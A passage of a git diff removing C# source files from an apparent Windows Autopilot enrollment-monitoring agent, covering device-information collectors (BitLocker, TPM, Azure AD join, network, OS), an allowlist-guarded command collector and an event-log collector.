ConversionStatus, EncryptionMethod FROM Win32_EncryptableVolume"))) - { - foreach (ManagementObject obj in searcher.Get()) - { - volumes.Add(new Dictionary - { - { "driveLetter", obj["DriveLetter"]?.ToString() }, - { "protectionStatus", obj["ProtectionStatus"]?.ToString() }, - { "conversionStatus", obj["ConversionStatus"]?.ToString() }, - { "encryptionMethod", obj["EncryptionMethod"]?.ToString() } - }); - } - } - - data["volumes"] = volumes; - data["systemDriveProtected"] = volumes.Any(v => - v["driveLetter"]?.ToString() == "C:" && v["protectionStatus"]?.ToString() == "1"); - - EmitDeviceInfoEvent("bitlocker_status", "BitLocker encryption status", data); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect BitLocker status: {ex.Message}"); - } - } - - private void CollectTpmStatus() - { - try - { - var data = new Dictionary(); - - using (var searcher = new ManagementObjectSearcher( - new ManagementScope(@"\\.\root\CIMV2\Security\MicrosoftTpm"), - new ObjectQuery("SELECT IsActivated_InitialValue, IsEnabled_InitialValue, IsOwned_InitialValue, ManufacturerIdTxt, ManufacturerVersion, SpecVersion FROM Win32_Tpm"))) - { - foreach (ManagementObject obj in searcher.Get()) - { - data["isActivated"] = obj["IsActivated_InitialValue"]?.ToString() == "True"; - data["isEnabled"] = obj["IsEnabled_InitialValue"]?.ToString() == "True"; - data["isOwned"] = obj["IsOwned_InitialValue"]?.ToString() == "True"; - data["manufacturerName"] = obj["ManufacturerIdTxt"]?.ToString(); - data["manufacturerVersion"] = obj["ManufacturerVersion"]?.ToString(); - - // SpecVersion is comma-separated: "2.0, 0, 1.59" → first element is the spec version - var specVersion = obj["SpecVersion"]?.ToString(); - if (!string.IsNullOrEmpty(specVersion)) - { - var parts = specVersion.Split(','); - data["specVersion"] = parts[0].Trim(); - } - } - } - - if (data.Count > 0) - { - EmitDeviceInfoEvent("tpm_status", $"TPM: {data["manufacturerName"]} v{data["manufacturerVersion"]}", data); - } - else - { - data["available"] = false; - EmitDeviceInfoEvent("tpm_status", "TPM: not available", data); - } - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect TPM status: {ex.Message}"); - } - } - - private void CollectAadJoinStatus() - { - try - { - var data = new Dictionary(); - - // Read AAD join info via shared helper. Placeholder users (foouser@, autopilot@) - // are transient provisioning accounts and must NOT be treated as a real AAD join; - // HasAadJoinedUser is only set for real user emails. - if (AadJoinInfo.TryReadAadJoinedUser(out var userEmail, out var thumbprint, out var isPlaceholderUser)) - { - // Still need TenantId — open the subkey directly when we have a thumbprint. - if (!string.IsNullOrEmpty(thumbprint)) - { - using (var joinInfoKey = Registry.LocalMachine.OpenSubKey(AadJoinInfo.JoinInfoRegistryPath)) - using (var subKey = joinInfoKey?.OpenSubKey(thumbprint)) - { - data["tenantId"] = subKey?.GetValue("TenantId")?.ToString(); - } - - data["userEmail"] = userEmail; - data["joinType"] = "Azure AD Joined"; - data["thumbprint"] = thumbprint; - - if (!string.IsNullOrWhiteSpace(userEmail)) - { - if (isPlaceholderUser) - { - IsFooUserDetected = true; - data["isFooUser"] = true; - _logger.Info($"AAD join: placeholder user detected ({userEmail}) — pre-provisioning indicator, NOT a real AAD join"); - } - else - { - HasAadJoinedUser = true; - } - } - } - else - { - data["joinType"] = "Not Joined"; - } - } - else - { - data["joinType"] = "Not Joined"; - } - - object joinTypeValue; - var joinType = data.TryGetValue("joinType", out joinTypeValue) ? joinTypeValue?.ToString() ?? "Unknown" : "Unknown"; - EmitDeviceInfoEvent("aad_join_status", $"AAD join: {joinType}", data); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect AAD join status: {ex.Message}"); - } - } - - /// - /// Reads ESP skip configuration from the enrollment FirstSync registry key. - /// CSP SkipUserStatusPage/SkipDeviceStatusPage are written as DWORD: - /// 0xFFFFFFFF = skip (ESP page not shown), 0 = show, key missing = unknown. - /// We use defensive interpretation: non-null AND non-zero = skip. - /// - private (bool? skipUserStatusPage, bool? skipDeviceStatusPage) CollectEspConfiguration() - { - bool? skipUser = null; - bool? skipDevice = null; - string enrollmentGuid = null; - - try - { - const string enrollmentsKeyPath = @"SOFTWARE\Microsoft\Enrollments"; - - using (var enrollmentsKey = Registry.LocalMachine.OpenSubKey(enrollmentsKeyPath)) - { - if (enrollmentsKey == null) - { - _logger.Debug("EnrollmentTracker: Enrollments registry key not found — ESP config unknown"); - return (null, null); - } - - // Find the MDM enrollment entry (EnrollmentType == 6) - foreach (var guid in enrollmentsKey.GetSubKeyNames()) - { - using (var enrollmentKey = enrollmentsKey.OpenSubKey(guid)) - { - if (enrollmentKey == null) continue; - - var enrollmentType = enrollmentKey.GetValue("EnrollmentType"); - if (enrollmentType == null || Convert.ToInt32(enrollmentType) != 6) - continue; - - enrollmentGuid = guid; - - // Read FirstSync subkey - using (var firstSyncKey = enrollmentKey.OpenSubKey("FirstSync")) - { - if (firstSyncKey == null) - { - _logger.Debug($"EnrollmentTracker: FirstSync subkey not found for enrollment {guid}"); - break; - } - - var rawSkipUser = firstSyncKey.GetValue("SkipUserStatusPage"); - if (rawSkipUser != null) - skipUser = Convert.ToInt32(rawSkipUser) != 0; - - var rawSkipDevice = firstSyncKey.GetValue("SkipDeviceStatusPage"); - if (rawSkipDevice != null) - skipDevice = Convert.ToInt32(rawSkipDevice) != 0; - } - - break; // Found the MDM enrollment entry - } - } - } - - var data = new Dictionary - { - { "source", "registry_firstsync" } - }; - if (enrollmentGuid != null) data["enrollmentGuid"] = enrollmentGuid; - if (skipUser.HasValue) data["skipUserStatusPage"] = skipUser.Value; - if (skipDevice.HasValue) data["skipDeviceStatusPage"] = skipDevice.Value; - - var summary = $"SkipUser={skipUser?.ToString() ?? "unknown"}, SkipDevice={skipDevice?.ToString() ?? "unknown"}"; - _logger.Info($"EnrollmentTracker: ESP configuration detected — {summary}"); - EmitDeviceInfoEvent("esp_config_detected", $"ESP configuration: {summary}", data); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect ESP configuration: {ex.Message}"); - } - - return (skipUser, skipDevice); - } - - /// - /// Collects active network interface details (name, type, link speed, MAC) using - /// System.Net.NetworkInformation — instant, no process spawn. - /// If the active interface is WiFi, fires off a separate async task to collect - /// WiFi signal info via netsh (fire-and-forget, never blocks). - /// - private void CollectActiveNetworkInterfaceInfo() - { - try - { - var activeNic = FindActiveNetworkInterface(); - - if (activeNic == null) - { - EmitDeviceInfoEvent("network_interface_info", "No active network interface found", - new Dictionary { { "status", "no_active_interface" } }); - return; - } - - var data = new Dictionary - { - { "adapterName", activeNic.Name }, - { "adapterDescription", activeNic.Description }, - { "macAddress", activeNic.GetPhysicalAddress().ToString() }, - { "interfaceType", activeNic.NetworkInterfaceType.ToString() }, - { "linkSpeedMbps", activeNic.Speed / 1_000_000 }, - { "interfaceId", activeNic.Id } - }; - - var isWifi = activeNic.NetworkInterfaceType == NetworkInterfaceType.Wireless80211; - data["connectionType"] = isWifi ? "WiFi" : "Ethernet"; - - var gateways = activeNic.GetIPProperties().GatewayAddresses; - if (gateways.Count > 0) - { - var gwList = new List(); - foreach (var gw in gateways) - gwList.Add(gw.Address.ToString()); - data["gateways"] = string.Join(", ", gwList); - } - - var message = $"Active interface: {activeNic.Description} ({data["connectionType"]}, {data["linkSpeedMbps"]} Mbps)"; - EmitDeviceInfoEvent("network_interface_info", message, data); - - // Fire-and-forget WiFi signal collection — separate event, never blocks - if (isWifi) - { - Task.Run(() => CollectWiFiSignalInfo()); - } - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect active network interface info: {ex.Message}"); - } - } - - /// - /// Finds the active network interface: Up, not Loopback/Tunnel, has a non-0.0.0.0 gateway. - /// - private static NetworkInterface FindActiveNetworkInterface() - { - try - { - var interfaces = NetworkInterface.GetAllNetworkInterfaces(); - foreach (var nic in interfaces) - { - if (nic.OperationalStatus != OperationalStatus.Up) - continue; - if (nic.NetworkInterfaceType == NetworkInterfaceType.Loopback || - nic.NetworkInterfaceType == NetworkInterfaceType.Tunnel) - continue; - - var ipProps = nic.GetIPProperties(); - foreach (var gw in ipProps.GatewayAddresses) - { - if (gw.Address.ToString() != "0.0.0.0") - return nic; - } - } - } - catch - { - // Caller handles null - } - return null; - } - - /// - /// Collects WiFi signal info via netsh wlan show interfaces and emits a separate - /// wifi_signal_info event. Designed to run as fire-and-forget via Task.Run — - /// never blocks other collection. VMs without WiFi service simply get no event. - /// - private void CollectWiFiSignalInfo() - { - try - { - var psi = new ProcessStartInfo - { - FileName = SystemPaths.Netsh, - Arguments = "wlan show interfaces", - UseShellExecute = false, - RedirectStandardOutput = true, - RedirectStandardError = true, - CreateNoWindow = true - }; - - string output; - using (var process = Process.Start(psi)) - { - output = process.StandardOutput.ReadToEnd(); - process.WaitForExit(5000); - } - - if (string.IsNullOrEmpty(output)) - return; - - var data = new Dictionary(); - - foreach (var line in output.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries)) - { - var trimmed = line.Trim(); - var colonIndex = trimmed.IndexOf(':'); - if (colonIndex < 0) continue; - - var key = trimmed.Substring(0, colonIndex).Trim(); - var value = trimmed.Substring(colonIndex + 1).Trim(); - - if (key.Equals("SSID", StringComparison.OrdinalIgnoreCase) && - !key.Equals("BSSID", StringComparison.OrdinalIgnoreCase)) - { - data["wifiSsid"] = value; - } - else if (key.Equals("Signal", StringComparison.OrdinalIgnoreCase)) - { - if (int.TryParse(value.TrimEnd('%'), out var signal)) - data["wifiSignalPercent"] = signal; - } - else if (key.Equals("Radio type", StringComparison.OrdinalIgnoreCase)) - { - data["wifiRadioType"] = value; - } - else if (key.Equals("Channel", StringComparison.OrdinalIgnoreCase)) - { - if (int.TryParse(value, out var channel)) - data["wifiChannel"] = channel; - } - } - - if (data.Count > 0) - { - var message = data.ContainsKey("wifiSsid") - ? $"WiFi: {data["wifiSsid"]}" - : "WiFi signal info"; - if (data.ContainsKey("wifiSignalPercent")) - message += $", Signal: {data["wifiSignalPercent"]}%"; - if (data.ContainsKey("wifiRadioType")) - message += $" ({data["wifiRadioType"]})"; - - EmitDeviceInfoEvent("wifi_signal_info", message, data); - } - } - catch (Exception ex) - { - _logger.Debug($"WiFi signal info collection failed: {ex.Message}"); - } - } - - private void EmitDeviceInfoEvent(string eventType, string message, Dictionary data) - { - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = eventType, - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = message, - Data = data - }); - } - - private static string TryFormatJson(string input) - { - if (string.IsNullOrWhiteSpace(input)) - return input ?? string.Empty; - - try - { - using (var doc = JsonDocument.Parse(input)) - { - return JsonSerializer.Serialize(doc.RootElement, new JsonSerializerOptions - { - WriteIndented = true - }); - } - } - catch - { - return input; - } - } - } -} - diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoCollector.cs deleted file mode 100644 index 1d7c6a57..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoCollector.cs +++ /dev/null @@ -1,216 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Linq; -using System.Management; -using System.Net.NetworkInformation; -using System.Text.Json; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo -{ - /// - /// Collects static and semi-static device information at enrollment startup and end. - /// Emits device info events (os_info, boot_time, network_adapters, dns_configuration, - /// proxy_configuration, autopilot_profile, enrollment_type_detected, secureboot_status, - /// bitlocker_status, aad_join_status) via the provided emitEvent action. - /// - public partial class DeviceInfoCollector - { - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _emitEvent; - private readonly AgentLogger _logger; - - private const string RegKeyWindowsCurrentVersion = @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"; - - public DeviceInfoCollector( - string sessionId, - string tenantId, - Action emitEvent, - AgentLogger logger) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _emitEvent = emitEvent ?? throw new ArgumentNullException(nameof(emitEvent)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - } - - /// - /// Runs all device info collectors at agent startup. - /// Returns the detected enrollment type, Hybrid Join flag, and ESP skip configuration from registry. - /// - public (string enrollmentType, bool isHybridJoin, bool? skipUserStatusPage, bool? skipDeviceStatusPage, int? autopilotMode, bool hasAadJoinedUser, bool isFooUserDetected) CollectAll() - { - _logger.Info("EnrollmentTracker: collecting device info (at start)"); - - CollectOSInfoAndBootTime(); - CollectNetworkAndDnsConfiguration(); - CollectProxyConfiguration(); - var profileResult = CollectAutopilotProfile(); - var espConfig = CollectEspConfiguration(); - CollectSecureBootStatus(); - CollectBitLockerStatus(); - CollectTpmStatus(); - CollectAadJoinStatus(); - CollectActiveNetworkInterfaceInfo(); - CollectHardwareSpec(); - - return (profileResult.enrollmentType, profileResult.isHybridJoin, espConfig.skipUserStatusPage, espConfig.skipDeviceStatusPage, profileResult.autopilotMode, HasAadJoinedUser, IsFooUserDetected); - } - - /// - /// Re-collects enrollment-dependent device info that was likely empty/incomplete at startup. - /// Called when DeviceSetup phase is first detected (ESP started = MDM enrollment + AAD join complete). - /// Re-emits: aad_join_status, autopilot_profile, esp_config_detected, tpm_status. - /// - public void CollectAtEnrollmentStart() - { - _logger.Info("EnrollmentTracker: collecting device info (at enrollment start)"); - - CollectAadJoinStatus(); - CollectAutopilotProfile(); - CollectEspConfiguration(); - CollectTpmStatus(); - } - - /// - /// Re-collects device info that may change during enrollment (e.g. BitLocker enabled via policy). - /// Called at enrollment complete / FinalizingSetup transition to capture final state. - /// - public void CollectAtEnd() - { - _logger.Info("EnrollmentTracker: collecting device info (at end)"); - - // BitLocker can be enabled during enrollment via policy - CollectBitLockerStatus(); - - // Re-collect active network interface info (link speed, WiFi signal may have changed) - CollectActiveNetworkInterfaceInfo(); - } - - /// - /// Collects OS info and boot time in a single WMI query against Win32_OperatingSystem. - /// Previously these were three separate queries (Caption, LastBootUpTime via two searchers); - /// consolidated to a single round-trip. - /// Emits two events (os_info, boot_time) for backward compatibility. - /// - private void CollectOSInfoAndBootTime() - { - string osName = string.Empty; - var bootData = new Dictionary(); - - // Single WMI query for both Caption (OS name) and LastBootUpTime - try - { - using (var searcher = new ManagementObjectSearcher("SELECT Caption, LastBootUpTime FROM Win32_OperatingSystem")) - { - foreach (ManagementObject obj in searcher.Get()) - { - osName = obj["Caption"]?.ToString() ?? string.Empty; - - var lastBootUpTimeStr = obj["LastBootUpTime"]?.ToString(); - if (!string.IsNullOrEmpty(lastBootUpTimeStr)) - { - var bootTimeLocal = ManagementDateTimeConverter.ToDateTime(lastBootUpTimeStr); - var bootTimeUtc = DateTime.SpecifyKind(bootTimeLocal.ToUniversalTime(), DateTimeKind.Utc); - - bootData["bootTimeUtc"] = bootTimeUtc.ToString("o"); - bootData["bootTime"] = bootTimeUtc.ToString("o"); - - var uptime = DateTime.UtcNow - bootTimeUtc; - bootData["uptimeMinutes"] = (int)uptime.TotalMinutes; - bootData["uptimeHours"] = uptime.TotalHours; - - _logger.Debug($"Boot time (UTC): {bootTimeUtc:o}, Uptime: {uptime.TotalMinutes:F1} minutes"); - } - break; - } - } - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to query Win32_OperatingSystem: {ex.Message}"); - } - - // Emit os_info event - try - { - // Read individual registry values; reuse DeviceInfoProvider helpers where possible - var edition = (Registry.GetValue(RegKeyWindowsCurrentVersion, "EditionID", string.Empty) ?? string.Empty).ToString(); - var compositionEdition = (Registry.GetValue(RegKeyWindowsCurrentVersion, "CompositionEditionID", string.Empty) ?? string.Empty).ToString(); - var currentBuild = (Registry.GetValue(RegKeyWindowsCurrentVersion, "CurrentBuild", string.Empty) ?? string.Empty).ToString(); - var buildBranch = (Registry.GetValue(RegKeyWindowsCurrentVersion, "BuildBranch", string.Empty) ?? string.Empty).ToString(); - var displayVersion = DeviceInfoProvider.GetOsDisplayVersion(); - var buildRevision = (Registry.GetValue(RegKeyWindowsCurrentVersion, "UBR", string.Empty) ?? string.Empty).ToString(); - - var data = new Dictionary - { - { "version", Environment.OSVersion.Version.ToString() }, - { "osVersion", osName }, - { "edition", edition }, - { "compositionEdition", compositionEdition }, - { "currentBuild", currentBuild }, - { "buildBranch", buildBranch }, - { "displayVersion", displayVersion }, - { "buildRevision", buildRevision } - }; - - var osVersion = osName; - - var message = string.IsNullOrWhiteSpace(osVersion) ? "OS information collected" : osVersion; - if (!string.IsNullOrWhiteSpace(displayVersion)) - { - message += $" {displayVersion}"; - } - - if (!string.IsNullOrWhiteSpace(currentBuild)) - { - message += string.IsNullOrWhiteSpace(buildRevision) - ? $" (Build {currentBuild})" - : $" (Build {currentBuild}.{buildRevision})"; - } - - EmitDeviceInfoEvent("os_info", message, data); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect OS info: {ex.Message}"); - } - - // Emit boot_time event - try - { - if (!bootData.ContainsKey("bootTime")) - { - bootData["note"] = "Boot time could not be determined"; - } - - EmitDeviceInfoEvent("boot_time", - bootData.ContainsKey("bootTime") - ? $"Last boot: {bootData["bootTime"]}" - : "Boot time unavailable", - bootData); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to emit boot time event: {ex.Message}"); - } - } - - /// - /// Collects network adapter and DNS configuration in a single WMI query. - /// Previously these were two separate queries against Win32_NetworkAdapterConfiguration; - /// consolidated to halve the WMI round-trips (each creates a new COM connection). - /// Emits two events (network_adapters, dns_configuration) for backward compatibility. - /// - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoProvider.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoProvider.cs deleted file mode 100644 index 6bfdd0a7..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoProvider.cs +++ /dev/null @@ -1,179 +0,0 @@ -using System; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo -{ - /// - /// Provides device hardware and OS information via WMI and registry queries. - /// - public static class DeviceInfoProvider - { - public static string GetSerialNumber() - { - try - { - using (var searcher = new System.Management.ManagementObjectSearcher("SELECT SerialNumber FROM Win32_BIOS")) - { - foreach (var obj in searcher.Get()) - { - return obj["SerialNumber"]?.ToString() ?? "Unknown"; - } - } - } - catch { } - return "Unknown"; - } - - public static string GetManufacturer() - { - try - { - using (var searcher = new System.Management.ManagementObjectSearcher("SELECT Manufacturer FROM Win32_ComputerSystem")) - { - foreach (var obj in searcher.Get()) - { - return obj["Manufacturer"]?.ToString() ?? "Unknown"; - } - } - } - catch { } - return "Unknown"; - } - - public static string GetModel() - { - try - { - var manufacturer = GetManufacturer(); - if (manufacturer.IndexOf("lenovo", StringComparison.OrdinalIgnoreCase) >= 0) - { - // Lenovo stores the friendly model name (e.g. "ThinkPad X1 Carbon Gen 9") - // in Win32_ComputerSystemProduct.Version instead of Win32_ComputerSystem.Model - // which only contains the internal type number (e.g. "20Y3S0FP00") - using (var searcher = new System.Management.ManagementObjectSearcher("SELECT Version FROM Win32_ComputerSystemProduct")) - { - foreach (var obj in searcher.Get()) - { - return obj["Version"]?.ToString() ?? "Unknown"; - } - } - } - - using (var searcher = new System.Management.ManagementObjectSearcher("SELECT Model FROM Win32_ComputerSystem")) - { - foreach (var obj in searcher.Get()) - { - return obj["Model"]?.ToString() ?? "Unknown"; - } - } - } - catch { } - return "Unknown"; - } - - /// - /// Coarse VM detection from Win32_ComputerSystem manufacturer + model. - /// Conservative: false negatives are preferred over false positives — a misclassified - /// physical box still gets the rule fired (status quo), a misclassified VM gets the - /// rule skipped (the user-visible regression). The Microsoft Corporation case is the - /// only ambiguous one — Surface devices share the manufacturer with Hyper-V VMs, so - /// we disambiguate via the model string ("Virtual Machine" vs e.g. "Surface Laptop 5"). - /// - /// Used by the rule engine's preconditions feature to skip rules that don't apply - /// inside VMs (e.g. Secure Boot CA 2023 — the firmware DB is host-controlled on - /// Hyper-V/VMware/etc, the inside-the-VM registry status is not actionable). - /// - public static bool IsVirtualMachine(string manufacturer, string model) - { - var mfr = manufacturer ?? string.Empty; - var mdl = model ?? string.Empty; - - if (mfr.IndexOf("VMware", StringComparison.OrdinalIgnoreCase) >= 0 - || mfr.IndexOf("Xen", StringComparison.OrdinalIgnoreCase) >= 0 - || mfr.IndexOf("QEMU", StringComparison.OrdinalIgnoreCase) >= 0 - || mfr.IndexOf("innotek", StringComparison.OrdinalIgnoreCase) >= 0 // VirtualBox - || mfr.IndexOf("Parallels", StringComparison.OrdinalIgnoreCase) >= 0 - || mfr.IndexOf("Red Hat", StringComparison.OrdinalIgnoreCase) >= 0) // KVM/QEMU - return true; - - if (mdl.IndexOf("Virtual Machine", StringComparison.OrdinalIgnoreCase) >= 0) - return true; - - if (mdl.IndexOf("VMware", StringComparison.OrdinalIgnoreCase) >= 0 - || mdl.IndexOf("VirtualBox", StringComparison.OrdinalIgnoreCase) >= 0) - return true; - - return false; - } - - public static string GetOsEdition() - { - try - { - using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion")) - { - return key?.GetValue("EditionID")?.ToString() ?? "Unknown"; - } - } - catch { } - return "Unknown"; - } - - /// - /// Returns the OS product name, e.g. "Microsoft Windows 11 Pro". - /// Uses WMI Win32_OperatingSystem.Caption which is the authoritative source. - /// - public static string GetOsName() - { - try - { - using (var searcher = new System.Management.ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem")) - { - foreach (var obj in searcher.Get()) - { - return obj["Caption"]?.ToString() ?? string.Empty; - } - } - } - catch { } - return string.Empty; - } - - /// - /// Returns the real OS build string, e.g. "26220.7934" (CurrentBuild.UBR). - /// Falls back to CurrentBuild alone if UBR is unavailable. - /// - public static string GetOsBuild() - { - try - { - using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion")) - { - var currentBuild = key?.GetValue("CurrentBuild")?.ToString(); - if (string.IsNullOrEmpty(currentBuild)) - return string.Empty; - - var ubr = key?.GetValue("UBR"); - return ubr != null ? $"{currentBuild}.{ubr}" : currentBuild; - } - } - catch { } - return string.Empty; - } - - /// - /// Returns the OS display version, e.g. "25H2", "24H2". - /// - public static string GetOsDisplayVersion() - { - try - { - using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion")) - { - return key?.GetValue("DisplayVersion")?.ToString() ?? string.Empty; - } - } - catch { } - return string.Empty; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/CommandCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/CommandCollector.cs deleted file mode 100644 index 2278a43d..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/CommandCollector.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Text; -using AutopilotMonitor.Agent.Core.Security; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather.Collectors -{ - public class CommandCollector : IGatherRuleCollector - { - public string CollectorType => "command_allowlisted"; - - public Dictionary Execute(GatherRule rule, GatherRuleContext context) - { - var data = new Dictionary(); - var command = rule.Target; - - if (string.IsNullOrEmpty(command)) - return data; - - // SECURITY: Check command against allowlist - if (!GatherRuleGuards.IsCommandAllowed(command, context.UnrestrictedMode)) - { - context.Logger.Warning($"SECURITY: Command blocked by allowlist: {command} (Rule: {rule.RuleId})"); - data["blocked"] = true; - data["reason"] = "Command not on allowlist"; - data["command"] = command; - - context.OnEventCollected(new EnrollmentEvent - { - SessionId = context.SessionId, - TenantId = context.TenantId, - Timestamp = DateTime.UtcNow, - EventType = "security_warning", - Severity = EventSeverity.Warning, - Source = "GatherRuleExecutor", - Message = $"Blocked command not on allowlist: {command} (Rule: {rule.RuleId})", - Data = data - }); - - return data; - } - - try - { - var isPowerShell = !command.StartsWith("netsh", StringComparison.OrdinalIgnoreCase) && - !command.StartsWith("ipconfig", StringComparison.OrdinalIgnoreCase) && - !command.StartsWith("nltest", StringComparison.OrdinalIgnoreCase) && - !command.StartsWith("certutil", StringComparison.OrdinalIgnoreCase) && - !command.StartsWith("dsregcmd", StringComparison.OrdinalIgnoreCase); - - ProcessStartInfo psi; - if (isPowerShell) - { - // Use -EncodedCommand with Base64-encoded UTF-16LE to prevent command injection - var encodedCommand = Convert.ToBase64String(Encoding.Unicode.GetBytes(command)); - psi = new ProcessStartInfo - { - FileName = SystemPaths.PowerShell, - Arguments = $"-NoProfile -ExecutionPolicy RemoteSigned -EncodedCommand {encodedCommand}", - UseShellExecute = false, - RedirectStandardOutput = true, - RedirectStandardError = true, - CreateNoWindow = true - }; - } - else - { - psi = new ProcessStartInfo - { - FileName = SystemPaths.Cmd, - Arguments = $"/c {command}", - UseShellExecute = false, - RedirectStandardOutput = true, - RedirectStandardError = true, - CreateNoWindow = true - }; - } - - using (var process = Process.Start(psi)) - { - var output = process.StandardOutput.ReadToEnd(); - var error = process.StandardError.ReadToEnd(); - process.WaitForExit(30000); // 30 second timeout - - data["command"] = command; - data["exit_code"] = process.ExitCode; - - if (!string.IsNullOrWhiteSpace(output)) - { - data["output"] = output.Length > 32000 ? output.Substring(0, 32000) + "... (truncated)" : output; - } - - if (!string.IsNullOrWhiteSpace(error)) - { - data["error_output"] = error.Length > 8000 ? error.Substring(0, 8000) + "... (truncated)" : error; - } - } - } - catch (Exception ex) - { - data["error"] = ex.Message; - } - - return data; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/EventLogCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/EventLogCollector.cs deleted file mode 100644 index 51c30ea7..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/EventLogCollector.cs +++ /dev/null @@ -1,118 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics.Eventing.Reader; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather.Collectors -{ - public class EventLogCollector : IGatherRuleCollector - { - public string CollectorType => "eventlog"; - - public Dictionary Execute(GatherRule rule, GatherRuleContext context) - { - var data = new Dictionary(); - var logName = rule.Target; - - if (string.IsNullOrEmpty(logName)) - return data; - - // Optional: escalate severity when matching entries are found - string severityIfFound = null; - rule.Parameters?.TryGetValue("severityIfFound", out severityIfFound); - - try - { - int maxEntries = 10; - if (rule.Parameters != null && rule.Parameters.TryGetValue("maxEntries", out var maxEntriesStr)) - { - int.TryParse(maxEntriesStr, out maxEntries); - maxEntries = Math.Min(maxEntries, 50); // Cap at 50 - } - - // Build XPath query with optional filters - var conditions = new List(); - - string sourceFilter = null; - if (rule.Parameters != null && rule.Parameters.TryGetValue("source", out sourceFilter) - && !string.IsNullOrEmpty(sourceFilter)) - { - conditions.Add($"Provider[@Name='{EscapeXPath(sourceFilter)}']"); - } - - string eventIdFilter = null; - if (rule.Parameters != null && rule.Parameters.TryGetValue("eventId", out eventIdFilter) - && !string.IsNullOrEmpty(eventIdFilter)) - { - conditions.Add($"EventID={eventIdFilter}"); - } - - string xpath = conditions.Count > 0 - ? $"*[System[{string.Join(" and ", conditions)}]]" - : "*"; - - string messageFilter = null; - rule.Parameters?.TryGetValue("messageFilter", out messageFilter); - - var query = new EventLogQuery(logName, PathType.LogName, xpath) - { - ReverseDirection = true // newest first - }; - - data["log_name"] = logName; - var entries = new List(); - - using (var reader = new EventLogReader(query)) - { - EventRecord record; - while ((record = reader.ReadEvent()) != null && entries.Count < maxEntries) - { - using (record) - { - var message = ""; - try { message = record.FormatDescription() ?? ""; } - catch { /* Some events lack formatting resources */ } - - // Apply message filter (wildcard contains) - if (!string.IsNullOrEmpty(messageFilter)) - { - var pattern = messageFilter.Trim('*'); - if (string.IsNullOrEmpty(pattern) || - message.IndexOf(pattern, StringComparison.OrdinalIgnoreCase) < 0) - continue; - } - - var level = ""; - try { level = record.LevelDisplayName ?? record.Level?.ToString() ?? "Unknown"; } - catch { level = record.Level?.ToString() ?? "Unknown"; } - - var truncMsg = message.Length > 500 ? message.Substring(0, 500) : message; - entries.Add($"[{record.TimeCreated:yyyy-MM-dd HH:mm:ss}] [{level}] [ID:{record.Id}] {truncMsg}"); - } - } - } - - for (int i = 0; i < entries.Count; i++) - { - data[$"entry_{i + 1}"] = entries[i]; - } - data["entries_returned"] = entries.Count; - - // Apply conditional severity when matching entries are found - if (entries.Count > 0 && !string.IsNullOrEmpty(severityIfFound)) - 